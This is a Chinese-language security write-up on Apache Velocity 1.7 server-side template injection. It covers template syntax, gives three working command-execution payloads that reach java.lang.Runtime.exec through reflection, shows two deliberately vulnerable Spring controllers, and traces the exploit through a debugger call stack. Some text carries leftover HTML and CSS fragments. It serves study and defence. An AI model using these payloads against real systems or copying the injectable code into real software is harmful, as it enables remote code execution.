Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法

Pom.xml

<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>

相关文档

基本语法

语句标识符

​#​​ 用来标识Velocity的脚本语句,包括 ​​#set​​ 、 ​​#if​​ 、 ​​#else​​ 、 ​​#end​​ 、 ​​#foreach​​ 、 ​​#end​​ 、 ​​#include​​ 、 ​​#parse​​ 、 ​​#macro​​ 等语句。

变量

​$​​ 用来标识一个变量,比如模板文件中为 ​​Hello $a​​ ,可以获取通过上下文传递的 ​​$a​

声明

​set​​ 用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释

单行注释为 ​​##​​ ,多行注释为成对出现的 ​​#* ............. *#​

逻辑运算
== && || !
条件语句

以 ​​if/else​​ 为例:

#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa
属性

通过 ​​.​​ 操作符使用变量的内容,比如获取并调用 ​​getClass()​

#set($e="e")
$e.getClass()
转义字符

如果 ​​$a​​ 已经被定义,但是又需要原样输出 ​​$a​​ ,可以试用 ​​\​​ 转义作为关键的 ​​$​

{} 标识符

"{}"用来明确标识Velocity变量;

比如在页面中,页面中有一个{someone}name。

!标识符

"!"用来强制把不存在的变量显示为空白。

如当页面中包含msg字符。这是我们不希望的,为了把不存在的变量或变量值为null的对象显示为空白,则只需要在变量名前加一个“!”号即可。

如:$!msg

我们提供了五条基本的模板脚本语句,基本上就能满足所有应用模板的要求。这四条模板语句很简单,可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中,我们看到,所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现:

1、$!obj 直接返回对象结果。

如:在html标签中显示java对象msg的值。

<p>$!msg

在html标签中显示经过HtmlUtil对象处理过后的msg对象的值

!msg)

2、#if($!obj) #else #end 判断语句

如:在EasyJWeb各种开源应用中,我们经常看到的用于弹出提示信息msg的例子。

  #if($msg)

   <script> alert('$!msg'); </script>

   #end

poc

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入

抠了段代码

@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
Velocity.eval(ctx, out, "test", templateString);

return out.toString();
}

poc

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

Java安全之Velocity模版注入_apache_04

调试分析

首先将我们传入的poc拼接进去后,调用 ​​Velocity.init();​​ ,最终实际调用的是 ​​RuntimeInstance#init​

会进行一系列的初始化操作,其中包括加载 ​​/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties​​ 中的 ​​runtime.log.logsystem.class​​ ,实例化 ​​org.apache.velocity.runtime.resource.ResourceManagerImpl​​ 以及记录一些log

Java安全之Velocity模版注入_模版_05

之后实例化 ​​VelocityContext​​ 并将三个键值对 put了进去,调用 ​​Velocity.eval()​​ 来解析,跟进

发现是通过 ​​RuntimeInstance#eval(231, 243, 237); padding: 0px 3px; border-radius: 4px; overflow-wrap: break-word; text-indent: 0px;">​parse​​ 解析

Java安全之Velocity模版注入_apache_06

继续跟进 ​​parser.parse(reader, templateName);​​ ,首先在 ​​this.velcharstream.ReInit(reader, 1, 1);​​ 将在StringReader中的poc存储到 ​​Parser.velcharstream​​ 属性的 ​​buffer​​ 中

Java安全之Velocity模版注入_java_07

之后会在process内循环遍历处理vlocity语法之后,大致解析成下面这个样子...

Java安全之Velocity模版注入_模版_08

进入 ​​this.render(context, writer, logTag, nodeTree);​​ 来解析渲染,主要是从AST树中和Context中,在 ​​ASTSetDirective#render​​ 将poc put进了context。这里涉及到几个类 ​​ASTRference​​ ​​ASTMethod​​ ,其中涉及到了ast的处理,感兴趣的师傅可以自己跟下看看

​ASTMethod#execute​​ 中反射调用runtime

Java安全之Velocity模版注入_apache_09

调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
eval(org.apache.velocity.runtime)
eval(org.apache.velocity.runtime)
eval(org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣来的代码,这个可能实际环境遇到盖里高点,主要是可控 ​​vm​​ 模版文件内的内容,在调用 ​​template.merge(ctx, out);​​ 会解析模版并触发模版注入

@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();

template.merge(ctx, out);

return out.toString();

}

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字符串可被我们插入或替换即可造成模版注入,中间调用 ​​runtimeServices.parse​​ 将模版内容解析,交给 ​​template.merge(ctx, out);​​ 渲染。在 ​​template.merge​​ 调用 ​​SimpleNode#render​​ ,后续调用和上面的就一致了。

Java安全之Velocity模版注入_java_10

主要是注意 ​​vm​​ 模版内容可不可控,并在修改后能被 ​​Velocity.eval()​​ ​​Template.merge(ctx, out);​​ 渲染,即可造成模版注入。